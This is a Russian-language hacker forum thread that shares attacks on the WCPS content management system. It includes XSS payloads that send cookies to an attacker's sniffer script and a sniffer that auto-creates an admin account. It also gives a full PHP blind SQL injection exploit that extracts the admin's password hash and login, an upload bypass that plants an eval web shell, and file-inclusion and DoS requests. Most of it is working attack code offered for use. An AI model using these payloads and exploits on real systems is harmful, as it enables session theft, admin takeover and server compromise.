Собственно не новые XSS(их там в каждом скрипте штуки по две), а новый метод обхода фильтров. Мне вообще "нравится" способ работы разработчиков. Вместо того чтобы исправить уязвимость они добавляют в фильтр новые ключевые слова, что, по их мнению, называется латанием дыр. Как говорится латаем дыры в днище корабля, когда сам корабль разваливается попалам.
Код:

http://test2.ru/index.php?nma=news&fla=tema&namecat[1']=2</a></span><body onLoad=setTimeout("ale"%2B"rt(docu"%2B"ment.coo"%2B"kie)",1)>
http://test2.ru/index.php?nma=search&fla=f.lib&name_sm[']=1<body onLoad=setTimeout("ale"%2B"rt(docu"%2B"ment.coo"%2B"kie)",1)>


Dr.Z3r0 03.02.2008 14:34

Перезапись системных переменных WCPS v.4.2.1
Вообщем для тех кто хочет понять "как?", проведу небольшое вступление. Вот глянем код файла inc/php_function.php:
Код:

...
if ( is_array($_GET) ) {
  while( list($k, $v) = each($_GET) ) {
    if ( is_array($_GET[$k]) ) {
        while( list($k2, $v2) = each($_GET[$k]) ) {
          $k=key_check("$k");//Кавычки не убирать
              $k2=key_check("$k2");
          $_GET[$k][$k2] = str_check($v2);
                eval("\$".$k."[\$k2] = str_check(\$v2);");
        }
    }
    else { $k=key_check("$k");$_GET[$k] = str_check($v); $$k = $_GET[$k];}
  }
 }
...
function key_check($key) {
 if ($key == '' OR $key =='_SERVER' OR $key =='_SESSION' OR $key =='_FILES' OR $key =='_REQUEST') { return ''; }
 $key = preg_replace("/[^\w\xB2-\xB4\xBF-\xFF\xA5\xA8\xAA\xAF\xB8\xBA\s]/", "", $key );
 return $key;
}
...

собственно это весь интересующий нас код. Как видно первая часть кода(такие же куски есть и для массивов POST и COOKIE), перепроверяет все переменные переданные GET-ом, и в случае если имя переменной равно какому нибудь системному массиву, уничтожает эту переменную, а также каждое значение переменной походит фильтрацию, между нами говоря я видел подобного рода код где то еще. Так вот приглядимся к функции key_check. Как видим она сначало проверяет на соответствие имени переменной и имени массива(кстати про массив GLOBALS они забыли), а потом на содержание в этом имени "запрещенных символов", это нам на руку.

Чтож вот собственно и как юзать:
Код:

http://test2.ru/?_SER'VER[REMOTE_ADDR]=111.111.111.111
После такого обращения к системе, цмс будет "думать" что ваш IP равен "111.111.111.111".

Grey 04.02.2008 13:10

Вложений: 3
WebCodePortalSystem v.4.2.1 (4.2.2) Создание привилегированного пользователя (админа) с помощью XSS, Снифер-Сплойт в комплекте + Видео по использованию

XSS - это достаточно серьезная уязвимость, которую не стоит не дооценивать!
Под XSS найденные I-I()/Ib`ом я написал снифер-сплойт, который не только сохраняет полученные куки, но и создаёт пользователя-админа, если куки окажутся админскими.

Вот XSS:

Цитата:

Сообщение от I-I()/Ib
XSS WCPS v.4.2.1
Собственно не новые XSS(их там в каждом скрипте штуки по две), а новый метод обхода фильтров. Мне вообще "нравится" способ работы разработчиков. Вместо того чтобы исправить уязвимость они добавляют в фильтр новые ключевые слова, что, по их мнению, называется латанием дыр. Как говорится латаем дыры в днище корабля, когда сам корабль разваливается попалам.
Код:

http://test2.ru/index.php?nma=news&fla=tema&namecat[1']=2</a></span><body onLoad=setTimeout("ale"%2B"rt(docu"%2B"ment.coo"%2B"kie)",1)>
http://test2.ru/index.php?nma=search&fla=f.lib&name_sm[']=1<body onLoad=setTimeout("ale"%2B"rt(docu"%2B"ment.coo"%2B"kie)",1)>


Нам понадобится следующее:

-Сам снифер (смотреть в аттаче)
-Хост с поддержкой сокетов (врятли достать такой хост проблемно)


Привидем XSS к рабочему виду, сделаем с её помощью перемещение на сайт, на котором лежим наш снифер и отдачу куков:

Код:

http://test2.ru/index.php?nma=news&fla=tema&namecat[1']=2</a></span><body onLoad=setTimeout('docum'%2B'ent.loca'%2B'tion.repl'%2B'ace("http://test1.ru/sn.php?c="%2Bdo'%2B'cument.co'%2B'okie)',1)>
* - код XSS так же продублирован в аттаче, в эту могут добавится лишние пробелы, используйте ту что в аттаче или удалите лишние пробелы в этой

Меняем данные на свои:

("http://test1.ru/sn.php?c="%2Bdo'%2B'cument.co'%2B'okie)

http://test1.ru/ - хост где будет лежать снифер
/sn.php - путь до снифера

Все больше ничего менять не нужно.

Настроим снифер:

PHP код:

//===========Config

$new_user_login 'master';
$new_user_password md5('master');
$op1 1// Сохранять полученные куки
$op2 1// Создать пользователя-админа (нужно что бы на снифер попал админ)
$link 'http://mail.ru'// Сайт на который будет перемещен, словивший нашу xss

//=========== 

Указываем логин и пароль нового пользователя - хотя можно оставить и пару master:master Ставим две единички (вообще если на снифер попадает админ, то хватит и просто создание нового пользователя, врятли нам после этого понадобятся куки админа). Теперь для чего нужно что бы после слова куков жертву перемещало на какой либо сайт - впринципе можно поставить перемещение на его же сайт, что бы было меньше палева (собственно для этого это и нужно).

Все сделали? ну тогда просто кидаем XSS админу и ждем результат...
А результатом должен быть наш новый пользователь (админ).

Как это работает?

Вообще когда мы крадем куки пользователей мы после этого обычно идем в админку и создаем нового пользователя или льем шелл - вообщем закрепляемся всевозможными способами. Но нам никто не мешает автоматизировать процесс. Суть то проста: на снифер падают куки, а так же сохранятеся реферер, т.е. у нас все не обходимое что бы авторизироваться под админом + адрес сайта (реферер). Дальше просто формируем пакет вписывая туда все необходимые данные для создания нового пользователя через админку, добавляем только что словленные куки, дальше пакет улетает и появляется новый пользователь. Вот такая вот автоматизация процесса. И еще один плюс, который появляется перед "ручным" способом это то что если админ все таки перешел по ссылке, то пользователь будет создан, а вот если делать руками, то админ может нажать заветную кнопочку "выход" и толку после этого от его куков не будет.

И ещё немного...

Мой вариант реализации отправки более общий, т.к. скрипт подделывает реферер, который может проверятся (но в случае с WebCodePortalSystem в админке ничего не проверяется). А вот в тех случаях когда подделывать реферер не нужно, можно сделать все гораздо проще:

Этот варинат предложил I-I()/Ib:

Создаем форму которая отправится сама - делается это с помощью javascript`а. В форме делаем все поля скрытыми и затачиваем их под какое то одно действие - к примеру опять же создание нового пользователя. Не забываем в action`е указать путь до сайта на котором нужно создать пользователя. Дальше заливаем на любой хост (хоть на народ) и получается что то вроде этого:

http://mysite.ru/1.html

Дальше кидаем линк админу и как только он зайдет на эту страничку будет создан новый пользователь.
И если так посмотреть то для этого не нужна никакая xss.

Но у такого способа есть минусы:
-Это будет работать только если нет проверки реферера, т.к. формой его не подделать (а если подделывать php скриптом, то тут нужны куки и как следствие наличие XSS)

-Как только данные из формы отправятся, админ тут же попадет в адмику на страницу с пользователями (а такой переход будет выглядеть очень палевно).
Но это можно решить поставив скрипт (с формой) в ифрейм.

Сам скрипт от I-I()/Ib`я так же лежит в аттаче. (скрипт создает пользователя (админа) с логином xxxxxx и паролем xxxxxx)


Подводя итоги...

Вообщем случае если мы знаем какие данные нужно отправить для того что бы сделать какое либо действие (создасть пользователя/залить шелл/получить личную информацию и т.д.) и мы хотим что бы админ (пользователь с нужными привилегиями) выполнил нужные действия, сам того не зная, то для начала нужно определится нужен ли реферер (т.е. проверяется он в скрипте или нет).

Если он проверяется то нам нужно найти XSS с помощью который мы украдем куки и затем сформируем пакет с необходимыми данными.

Если он не проверяется, то искать XSS не обязательно (хотя если XSS активная, то её приемущество на лицо - не надо переходить по каким либо ссылкам), достаточно сделать форму которая отправит данные автоматически (к примеру сразу после загрузки формы).

Вообще если подумать, то отсутствие проверки реферера это очень серьезный недочет. Т.к. сделать такую форму можно минут за 5 (скопировать её к примеру из админки, поменять поля на хидден что бы их не было видно, поменять актион и все готово), а дальше к примеру на каком либо форуме/гостевой и т.д. просто запостить линк и ждать когда админ или другой интерисующий пользователь перейдем по ссылке. А в результате шелл/действия от лица других пользователей/получение информации и т.д.

Наличие Активной XSS существенно облегчает задачу, т.к. пасивные XSS и метод с формой можно отнести к Социальной Инженерии, т.к. трубеутся непосредственное участие пользователя обладающими нужными правами (нужно что бы пользователь перешел по определенной ссылке), а с Активной XSS никакого участия не требуется.

=====Линк на видео=====

http://rapidshare.com/files/89037260/wcps_xss.rar.html

Описание к видео лежит в архиве.

=====Аттач=====

sn.zip - снифер-сплойт
1.zip - форма с отправкой данный, от I-I()/Ib`я
xss.txt - код XSS (в выше написанной добивались пробелы)

Dr.Z3r0 07.02.2008 23:02

Активная XSS WCPS v.4.2.1

Бага присутствует на форуме, внутренней почте, гостевой, комментариях. Создаем сообщение/запись/комментарий с содержанием:
Код:

[img*]http://google.ru/zzzz.jpg" onerror="setTimeout('ale'+'rt(doc'+'ument.coo'+'kie)',100)[/img*]
(звездочки из тегов удаляем-седланно чтобы форумом не воспринималось)
Обновляем страницу/глядим почту. Видим как браузер пытается загрузить несуществующий рисунок "http://google.ru/zzzz.jpg", в результате - ошибка и выполнение javascript-кода.

На практике нам проще создать ПМ сообщение админу - он в любом случае его откроет и как следствие его куки улетят к вам на снифер. А если вы заюзаете снифер от Grey-я, то тут даже напрягаться не надо, чтобы не потерять сессию.

Цитата:

Сообщение от Grey
Наличие Активной XSS существенно облегчает задачу

как на заказ))

Grey 07.02.2008 23:07

WebCodePortalSystem v.4.2.2 Еще одна Пассивная XSS

Цитата:

Сообщение от I-I()/Ib
Перезапись системных переменных WCPS v.4.2.1
Чтож вот собственно и как юзать:
Код:

http://test2.ru/?_SER'VER[REMOTE_ADDR]=111.111.111.111
После такого обращения к системе, цмс будет "думать" что ваш IP равен "111.111.111.111".

Благодаря перезаписи переменных реализовал еще одну Пассивную XSS:

Код:

http://target.ru/php/wojs.php?_SE;RVER[HTTP_HOST]=site.ru/666.js?
* - не забудьте знак вопроса на конце
** - писать надо именно _SE;RVER, а не _SERVER.


site.ru - ваш хост
666.js - файл с содержимым скрипта:

Код:

document.location.replace("http://site.ru/sniff.php?c="+document.cookie);
Используйте снифер из поста #17 для создания нового админа.

P.S. в этой же скрипте wojs.php есть и другая действующая Пассивная XSS (из поста #10 все ещё не залатана, хотя версии новые выходили) - не скрипт, а прям сосредоточение уязвимостей))

Macro 09.02.2008 00:37

Самая простая пассивная xss на исправление которой уйдут месяцы :))) Гг

Сам не ожидал такой простоты
http://site/wcps/%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

ЗЫ http://wcps.ru/%3E%3Cscript%3Ealert(...)%3C/script%3E

Dr.Z3r0 09.02.2008 15:23

Вложений: 1
SQL injection WCPS v.4.3 ***
С этого дня я могу называться маньяком. Поздравте меня, я написал сплоент под BENCHMARK...

Ладно приступим к описанию баги. Уязвимый файл php/cron_jsnews.php. Строка 49 гласит:
Код:

$results = MYSQL_QUERY("SELECT id FROM ".$wcpref."${nma}_stat WHERE lang='$portal_lang' AND da>0");
Ну и переменная $nma не фильтруется. Но к сожалению в данном случае требется register_globals=on.

Теперь перейдем к минусам. Из этого запроса нету прямого вывода, и нет вывода ошибок. А это значит что юзать нам только посимвольный перебор с помощью BENCHMARK (я представляю отвернувшиеся лица, но советую дочитать до конца).

Я согласен что эта скуля не ахти как юзабельна, но со сплоентом, пусть это занимает время, но всеже работает, да-да именно со сплоентом). Вообще я редко встречал эксплоиты подобного рода, ну чтож вот и сам сплоент:
PHP код:

<?php
/*----------------------------------------*\
Exploit for cms WCPS v 4.2.1
Blind SQL injection (use Benchmark)
Author: I-I()/Ib
\*----------------------------------------*/
//---------Основные настройки-------------//
$set['host']='test2.ru';//Хост с CMS WPCS
$set['patch']='';//Путь к WCPS без слеша на конце!
$set['id_user']='2';//Номер юзера у которого буим брать хеш и логин (2 по дефолту админ)
$set['prefix']='wc_';//Префикс таблиц в БД
//----------------------------------------//
//--------Дополнительные настройки--------//
$set['retfile']=false;//true-запись в файл, false-Вывод на экран
$set['retname']='return.txt';//Имя файла для вывода
//----------------------------------------//
//----------Настройки BENCHMARK-----------//
$set['timbench']=5;//секунд для задержки создаваемой BENCHMARK-ом
$set['pmbench']=1;//погрешность в секундах
$set['cntbch']=3;//Количество запросов для определение среднего времени ответа
$set['bnzn']=99999;//Начальное значение иттераций BENCHMARK-а
//----------------------------------------//

set_time_limit(0);
ignore_user_abort(true);

function 
create_packet($num,$sumb,$znak,$zap=false,$column='user_pass'){
    global 
$set,$btime;
    if(!
$zap){
        
$tmp="user WHERE IF(ASCII(SUBSTRING((SELECT ".$column." FROM ".$set['prefix']."user WHERE id=".$set['id_user']."),".$num.",1))".$znak.$sumb.",BENCHMARK(".$btime['bnzn'].",MD5(current_time)),'1')/*";
        
$tmp="nma=".urlencode($tmp);
    }else{
        
$tmp=$zap;
    }
    
    
$header="GET ".$set["patch"]."/php/cron_jsnews.php?".$tmp." HTTP/1.0\r\n";
    
$header.="Accept-Language: en-us,en;q=0.5\r\n";
    
$header.="Accept-Charset: utf-8,*;q=0.7\r\n";
    
$header.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png;q=0.5\r\n";
    
$header.="User-Agent: 1\r\n";
    
$header.="Connection: keep-alive\r\n";
    
$header.="Host: ".$set["host"]."\r\n\r\n";
        
    return 
$header;
}

function 
logg($str,$type=1){
    global 
$set;
    
    if(
$set['retfile']){
        
$fp fopen ($set['retname'],'a');
        
fwrite ($fp$str.($type===1?"\r\n":''));
        
fclose ($fp);
    }else{
        echo(
$str.($type===1?"<br>\r\n":''));
        
flush();
    }
}

$btime['sred']=5;
$btime['btime']=10;
$set['count']=0;

function 
send_packet($packet,$type=1){//type=0 -возврат времени запроса; 1-возврат boolean; 2-возврат ответа сервера
    
global $set,$btime;
    
    
$set['count']++;
    
$btime['start']=time();
    
$dt='';
    
    
$fp=fsockopen($set['host'], 80);
    
fwrite($fp$packet);
    while(!
feof($fp)){
        
$dt.=fread($fp1024);
    }
    
fclose($fp);
    
    
$btime['stop']=time();
    
$btime['all']=$btime['stop']-$btime['start'];
    if(
$type===1){
        if(
$btime['all']>=$btime['sred'])return false;
        else return 
true;
    }elseif(
$type===2){
        return 
$dt;
    }else{
        return 
$btime['all'];
    }
}
$set['start']=time();

logg('<b>'.$set['host'].'</b>');
logg('<b>Определяем среднее время ответа сервера...</b>');
for(
$i=0;$i<$set['cntbch'];$i++){
    
$ret=send_packet(create_packet('','','','tmp=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'),0);
    
logg('Запрос '.($i+1).'. Время: '.$ret.' сек.');
    
$btime['bngrzk'][$i]=$ret;
}
$tmp=0;
foreach(
$btime['bngrzk'] as $val)$tmp+=$val;
$btime['bngrzk']=round(($tmp)/(count($btime['bngrzk'])));
logg('Среднее время ответа сервера: <b>'.$btime['bngrzk'].' сек.</b>');
$set['timbench']+=$btime['bngrzk'];
logg('Оптимальное значение задержки создаваемой бенчмарком '.$set['timbench'].' сек.');
logg('');
$btime['oktime']=false;
$btime['bnzn']=$set['bnzn'];
logg('<b>Подбираем кол-во итераций BENCHMARK-а...</b>');
for(
$i=0;$i<20;$i++){
    
$ret=send_packet(create_packet('','','','nma='.urlencode('user WHERE 1=BENCHMARK('.$btime['bnzn'].',MD5(current_time))/*')),0);
    if(
$ret<($set['timbench']-$set['pmbench'])){
        
$tmp='Мало.';
        
logg('Запрос '.($i+1).'. Кол-во: '.$btime['bnzn'].'. Время: '.$ret.' сек. '.$tmp);
        if(
$ret===0){
            
$btime['bnzn']=$btime['bnzn']*$set['timbench'];
        }else{
            
$ret=($set['timbench'])/($ret);
            
$btime['bnzn']=round(($btime['bnzn'])*($ret));
        }
    }elseif(
$ret>($set['timbench']+$set['pmbench'])){
        
$tmp='Много.';
        
logg('Запрос '.($i+1).'. Кол-во: '.$btime['bnzn'].'. Время: '.$ret.' сек. '.$tmp);
        
$ret=($ret)/($set['timbench']);
        
$btime['bnzn']=round(($btime['bnzn'])/($ret));
    }else{
        
$tmp='Подходит.';
        
$btime['oktime']=true;
        
$btime['timbench']=$ret;
        
logg('Запрос '.($i+1).'. Кол-во: '.$btime['bnzn'].'. Время: '.$ret.' сек. '.$tmp);
        break;
    }
}

if(!
$btime['oktime']){
    
logg('Не удалось попасть в рамки '.$set['timbench'].'±'.$set['pmbench'].' сек.');
    
logg('Возможные причины:');
    
logg('-Уязвимость залатанна');
    
logg('-Неверный префикс');
    
logg('-Маленький диапазон погрешности');
    
logg('-Так сложились звезды...');
    die();
}
logg('Число итераций <b>'.$btime['bnzn'].'</b> укладывается в '.$set['timbench'].'±'.$set['pmbench'].' сек.');

logg('');
logg('<b>Определяем среднее время ответа сервера с нагрузкой...</b>');
for(
$i=0;$i<$set['cntbch'];$i++){
    
$ret=send_packet(create_packet('','','','nma='.urlencode('user WHERE 1=BENCHMARK('.$btime['bnzn'].',MD5(current_time))/*')),0);
    
logg('Запрос '.($i+1).'. Время: '.$ret.' сек.');
    
$btime['timebench'][$i]=$ret;
}
foreach(
$btime['timebench'] as $val)$tmp+=$val;
$btime['timebench']=round(($tmp)/(count($btime['timebench'])));
logg('Среднее время ответа сервера с нагрузкой: <b>'.$btime['timebench'].' сек.</b>');
$btime['sred']=round(($btime['timebench']+$btime['bngrzk'])/2);
logg('Крит. число секунд: <b>'.$btime['sred'].' сек.</b>');
$btime['timbench']=$btime['timebench'];

$ret='';
logg('');
logg('Все подготовительные запросы звершены');
logg('Приступаем к работе...');
logg('');
logg('<b>Выдираем хеш...</b>');
logg('<sub>(Пока можно сходить и попить кофе... Это относительно долго...)</sub>');
for(
$i=1;$i<=32;$i++){
    
$sred=0;
    
$tmp='';
    
$i2=0;
    
$i3=0;
    
$znak='>';
    
$mins=48;//Код символа "0"
    
$maxs=103;//Код символа "f"
    
while(1){
        if(
$maxs-$mins>3){
            
$sred=round(($mins+$maxs)/2);
        }else{
            
$sred=$mins+$i2;
            
$znak='=';
            
$i2=$i2+1;
            if(
$mins>$maxs)break;
        }
        if(!
send_packet(create_packet($i,$sred,$znak),1)){
            if(
$znak==='>')$mins=$sred+1;
            else if(
$znak==='='){
                
$ret.=chr($sred);
                break;
            }
        }else{
            if(
$znak==='>')$maxs=$sred;
        }
        if(
$i3>10)break;
        else 
$i3++;        
    }
}
if(empty(
$ret))die('Не получилось :(');
logg('Хеш: <b>'.$ret.'</b>');
$ret='';
logg('');
logg('<b>Выдираем логин...</b>');
for(
$i=1;$i<=32;$i++){
    
$sred=0;
    
$tmp='';
    
$i2=0;
    
$i3=0;
    
$znak='>';
    
$mins=0;
    
$maxs=256;
    while(
1){
        if(
$maxs-$mins>3){
            
$sred=round(($mins+$maxs)/2);
        }else{
            
$sred=$mins+$i2;
            
$znak='=';
            
$i2=$i2+1;
            if(
$mins>$maxs)break;
        }
        if(!
send_packet(create_packet($i,$sred,$znak,false,'user_login'),1)){
            if(
$znak==='>')$mins=$sred+1;
            else if(
$znak==='='){
                
$ret.=chr($sred);
                break;
            }
        }else{
            if(
$znak==='>')$maxs=$sred;
        }
        if(
$i3>10)break;
        else 
$i3++;        
    }
    if(
substr_count($ret,chr(0))){
        
$ret=str_replace(chr(0),'',$ret);
        break;
    }
}
if(empty(
$ret))die('Не получилось :(');
logg('Логин: <b>'.$ret.'</b>');

$set['stop']=time();
logg('');
logg('<b>Статистика:</b>');
logg('Затраченно '.($set['stop']-$set['start']).' сек.');
logg('Всего '.($set['count']).' запросов.');
logg('Среднее время ответа '.round(($set['stop']-$set['start'])/($set['count'])).' сек.');
?>

Небольшая вставка статистики работы сплоента:
Цитата:

Статистика:
Затраченно 778 сек.
Всего 270 запросов.
Среднее время ответа 3 сек.
При небольшом знании пыха этот сплоент можно переделать изменив пару строк под любую скулю подобного рода.

*** - примичание: как не странно но, эту Уязвимость они даже непытались залатать - сплоент отлично работает и в новой версии.

Grey 12.02.2008 18:27

Вложений: 1
WebCodePortalSystem v. 4.3 Пассивная XSS

Ну вот вышла новая версия, ну и разумеется не без уязвимостей...

[Пассивная XSS]

Уязвим скрипт php/wojs.php - вообще это очень смешно, т.к. уязвимостей в нем находили много (и даже в том же параметре (но та уязвимость уже исправлена)), но реализовать нормальную защиту авторы так и не смогли.

Уязвимая часть скрипта:

PHP код:

<script language='javascript' src='http://<?echo $_SERVER['HTTP_HOST'].$portal_subdir;?>/php/<?echo $_GET['inflang'].$_GET['type'];?>.js'></script>

В прошлый раз можно было осуществить перезапись переменных и поменять значение переменной $_SERVER['HTTP_HOST'] на произвольное, теперь эта ошибка исправлена, но вот подставить в переменную $_GET['inflang'] значение на подобие ../dir нам никто не мешает. Наверное возникнет вопрос что нам это даст ведь "перемещаться" мы будем только в пределах сайта с уязвимой cms, да и к тому же символ %00 режется (не квотой, а в фильтре).
Но это решаемо:

1) Нам никто не мешает залить файл с расширением .jpg и любым содержанием (заливка через аватарки)
2) Еще авторы не учли что символ %00 нам не нужен, можно обойтись (в данном случае) символов ? (символ знака вопроса).

И так делаем следующее:

1. У себя на компе создаем файл с содержимым:

Код:

document.location.replace("http://host.ru/sn.php?c="+document.cookie);
Где http://host.ru/sn.php адрес вашего хоста со снифером.

2. Сохраняем файл с расширением .jpg, ну к примеру img.jpg

3. Через редактирование профиля, на сайте, заливаем нашу 'аватарку'.

4. Все теперь линк будет выглядеть так:

Код:

http://site.ru/php/wojs.php?inflang=../images/avatar/vashaavatarka.jpg?
!!!не забывайте знак вопроса на конце!!!

И как только пользователь перейдет по ссылке, его куки улетят нам.

Кстати что бы заюзать уязвимость значения регистер глобал и мейджик квотс могут быть совершенно любыми (знак вопроса не обрубается квотой).

Что бы автоматически создать админа при получение куков используйте, ранее выложенный, снифер (смотреть аттач).

====================================

Add (Две Уязвимости, найденные еще в прошлой версии, не залатаны):

1. Ранее найденная пользователем Macro пассивная xss так же отлично работает и в этой версии, наверное исправлять её авторы не сочли нужным:

Цитата:

Сообщение от Macro
Самая простая пассивная xss на исправление которой уйдут месяцы :))) Гг

Сам не ожидал такой простоты
http://site/wcps/%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

ЗЫ http://wcps.ru/%3E%3Cscript%3Ealert(...)%3C/script%3E

Т.е. переходим по ссылке:

Код:

http://test2.ru/wcps/<script>alert("kreved");</script>
И получаем нужный нам результат.

2. Ранее найденная I-I()/Ib`ом SQL инъекция не залатана в новой версии!

====================================

Dr.Z3r0 17.02.2008 22:04

Множественные XSS в cms WCPS v4.3.1
4 пассивные XSS по мере убывания их юзабельности:

Код:

http://test2.ru/php/print.php?id=1&email_autor=1%3E%3Cscript%3Ealert(%27xss%27)%3C/script%3E1&nma=news
Код:

http://test2.ru/php/exp_to_save.php

POST: asfile=%3Cscript%3Ealert%28%29%3C%2Fscript%3E

PS: XSS срабатывает только на админах


Код:

http://test2.ua/php/dload.php?ids=%3Cscript%3Ealert()%3C/script%3E
PS: только для сайтов в имени которых есть строка "ua"


Код:

http://test2.ru/php/gzstat.php?id=1&nma=news&categoria=<script>alert('xss')</script>
PS: xss образуется в загружаемом файле

================================================== ==========================

Примичание Grey`я:

Почитал новости и форум на офф сайте этой cms, ну очень весело... Пару комментов для автора этого чуда:

Код:

продвинутому хакеру отсутствие версии это только чуть чуть задержит опредиление что делать, обычно последняя еще не взломана.
Нет это как раз не обычно.

Код:

Вот уязвимости надо убирать.
Код:

Рано или поздно мы вычистим все баги
Ога убери их на х@@ =))
Мне всегда казалось что их надо исправлять, а еще лучше кодить так что бы в одном скрипте не было по несколько бажных кусков, только для этого нужен мозг...


Код:

Вышел новый апдейт с 4.3 до 4.3.1

Апдейт обязателен, т.к. связан с безопасностью

ИЗМЕНЕНИЯ: 
 1) Устранена ошибка 404

Убило. Что больше нет ошибки 404? Типа существуют все страницы? Очень привликательное изменение.

Dr.Z3r0 13.03.2008 21:05

PHP-including в cms WCPS v4.3.1

Решил вот еще багу выложить, хотел новой версии дождаться но видимо админу там пох на баги. Чтож с данного момента эта цмс может официально называться самой бажной так как в ней присутствуют все основные типы багов.

Вообщем что можно выжать полезного:
Код:

http://test2.ru/?nma=index&fla=../../admin/default/index
(инклудим вывод конфигурации системы...)

http://test2.ru/?nma=index&fla=../../admin/default/loads
(инклудим вывод модулей пыха)

http://test2.ru/?nma=index&fla=../../admin/info/index
(вывод всех массивов пыха)

http://test2.ru/?nma=index&fla=../../admin/info/index&ops=nomenu
(PHP info)

http://test2.ru/?nma=index&fla=../../inc/body
(ДДОС, скрипт инклудит сам себя до бесконечности)


Grey 13.03.2008 21:07

WebCodePortalSystem v. 4.3.1

Пассивная XSS:

Код:

http://test2.ru/php/images_jpg.php?nma=..&vara=inc&images=config.php&action=wo&title=</title><script>alert();</script>
Уязвимый кусок скрипта:

PHP код:

$path=(getenv('OS'))?dirname(getenv('DOCUMENT_ROOT')."/x")."$nma/".$vara.$slash.$images:getenv('DOCUMENT_ROOT')."$nma/".$vara.$slash.$images;
if (!
file_exists($path)){$error=0;} 

Вообщем что бы выполнилось условие "if ($error)", нужно что бы файл, указанный в переменной $path, существовал.

PHP код:

if ($error){
if (@
$action=='wo'){
    
$size=getimagesize($path);
        
$size[2]=$size[1]+25;
        if(empty(
$title)){$title=strtoupper($vara)." * $images";}
    echo 
"<TITLE>$title &nbsp;&nbsp;</TITLE> 

Дальше видим что значение переменной $action должно быть "wo". Ну а дальше выходим на финишную прямую "echo "<TITLE>$title &nbsp;&nbsp;</TITLE>", в переменную $title впихиваем скрипт, а остальное оставляем без изменений.

Grey 09.05.2008 00:33

Вложений: 1
WebCodePortalSystem v. 4.3.1 Льём шелл! (видео) + возможность удалять файлы

Требуется что бы: регистер глобалс = офф

Уязвимость в файле mod/user/_upl.php, вот уязвимый кусок кода:

PHP код:

if(empty($wcpsval['tip_loadimages'])){ $tip_loadimages="jpg|gif|png"; }
else { 
$tip_loadimages=$wcpsval['tip_loadimages']; } 

Занятно то что $wcpsval['tip_loadimages'] мы более чем спокойно можем изменить, т.е. самим указать разрешенные расширения файлов, что даёт нам возможность закачивать любые файлы.

Я отснифал пакет с отправкой файла, получилось что то вроде этого:

Код:

POST /ajax.php?nma=user&fla=_upl&t=1210069192453&JsHttpRequest=12100691924532-form HTTP/1.0
User-Agent: Opera/9.23 (Windows NT 5.1; U; ru)
Host: хост
Referer: http://хост/index.php?nma=user&fla=accaunt
Cookie: куки
Cookie2: $Version=1
Connection: close
Content-Length: 192
Content-Type: multipart/form-data; boundary=----------UEffLig9vPkZpftUKEtdJW

------------UEffLig9vPkZpftUKEtdJW
Content-Disposition: form-data; name="q"; filename="img.phtml"
Content-Type: text/plain

<?php eval($_GET['e']); ?>
------------UEffLig9vPkZpftUKEtdJW--

Теперь поменяем первую строчку на такую:

Код:

POST /ajax.php?nma=user&fla=_upl&wcpsval[tip_loadimages]=phtml&t=1210069192453&JsHttpRequest=12100691924532-form HTTP/1.0
Теперь расширение phtml более чем правильное =)

Для удобства я написал сплоент - всё что нужно указать это куки и хост (все что делает сплоент это отправляет пакет, результат нужно смотреть самим, хоть он и пишет что шелл залит, но это может быть не так).

Подробное видео смотреть тут (размер около 4 метров):

http://video.antichat.ru/file267.html

В аттаче архив в котором Улучшенная версия сплойта (льёт более функциональный шелл) по сравнению с тем что в архиве с видео и чуть подправленное описание.

P.S. Т.к. залить файл с расширением .php нельзя из-за .htaccess который блочит пхп файлы, заливать шелл нужно в файл .phtml, но не на каждом серваке такие файлы будут обрабатываться.
P.P.S. Про удаление файлов - в видео.

gibson 09.05.2008 17:55

WCPS modules
 
mod_BigNews1.1 passive xss

Цитата:

php/wojs.php?name_titl=');alert(/a/);('
ps в оригинальном файле не проканает)

Про эту Паныч упоминал в постах, сорри если повторю, просто нашел сам)

php/exp_to_save.php
Цитата:

POST asfile=<script>alert(/d/)</script>
/php/print.php
Цитата:

Referer: "><script>alert(/s/)</script>

Mod download sql inj
Цитата:

download.php?id=[sql]
Пример

Цитата:

index.php?nma=download&fla=download&id=-1+union+select+1,2,3/*

Ollorin 09.05.2008 19:00

Grey, такой трабл возник, я решил проверить работоспособность шелла во второй версии сплоита, вырезал его и расшифровал, он-то нормально работает, но если не расшифровывать, а оставить как есть (т.е в том виде, в котором шелл будет лежать в /images/avatar/), то выскакивает ошибка вида:
Warning: Unexpected character in input: '\' (ASCII=92) state=1 in T:\home\localhost\2.php on line 1
Насколько я понял, ПхП не нравится наличие "\" в первой строке, если удалить оба слеша, то всё работает, но насколько я понял они нужны для маскировки кавычек...как быть?
+не могу понять, на одних и тех же сайтах первый шелл создаётся скриптом, а второй нивкакую...

Grey 09.05.2008 19:08

Вложений: 1
Цитата:

Сообщение от Ollorin
Grey, такой трабл возник, я решил проверить работоспособность шелла во второй версии сплоита, вырезал его и расшифровал, он-то нормально работает, но если не расшифровывать, а оставить как есть (т.е в том виде, в котором шелл будет лежать в /images/avatar/), то выскакивает ошибка вида:
Warning: Unexpected character in input: '\' (ASCII=92) state=1 in T:\home\localhost\2.php on line 1
Насколько я понял, ПхП не нравится наличие "\" в первой строке, если удалить оба слеша, то всё работает, но насколько я понял они нужны для маскировки кавычек...как быть?

Если тебе нужен этот шелл что бы просто юзать, то вот он - (смотреть аттач).

В сплоенте в бейс64 я его закинул только для того что бы не экранировать большое количество кавычек, а так надо всего две. Слеши нужны только в сплоенте, т.к. там нужно экранировать эти кавычки. Если ты, зачем то, хочешь юзать шелл закинутый в бейс64, как в сплойте, то, когда вытащишь его из сплойта, просто убери слеши - они нужны только для сплоента, не более.

Цитата:

Сообщение от Ollorin
+не могу понять, на одних и тех же сайтах первый шелл создаётся скриптом, а второй нивкакую...

Тут уж смотри по мелочам - может ты во второй сплойт забываешь вписывать куки и адрес сайта. Или случайно что то изменил в нём - я его тестил и косяков не обнаружил.

P.S. проверь личку, я тебе написал туда.

Dr.Z3r0 11.07.2008 20:41

REMOTE INCLUDE WCPS v.4.4.1
Собственно возможны и более ранние версии. Интересно какая это по счету бага в этой цмс)

1. Описание
Так вот кратенькое описание баги. Уязвим файл inc/php_function.php
PHP код:

<?php
...
//Функции для слеширования всех "лишних"  символов во всех переменных
//Как видно если мы объявим массив $_POST то массив $_COOKIE 
//слешироваться не будет. Это мы и будем использовать ниже.
elseif ( is_array($_POST)) {
  ...
}
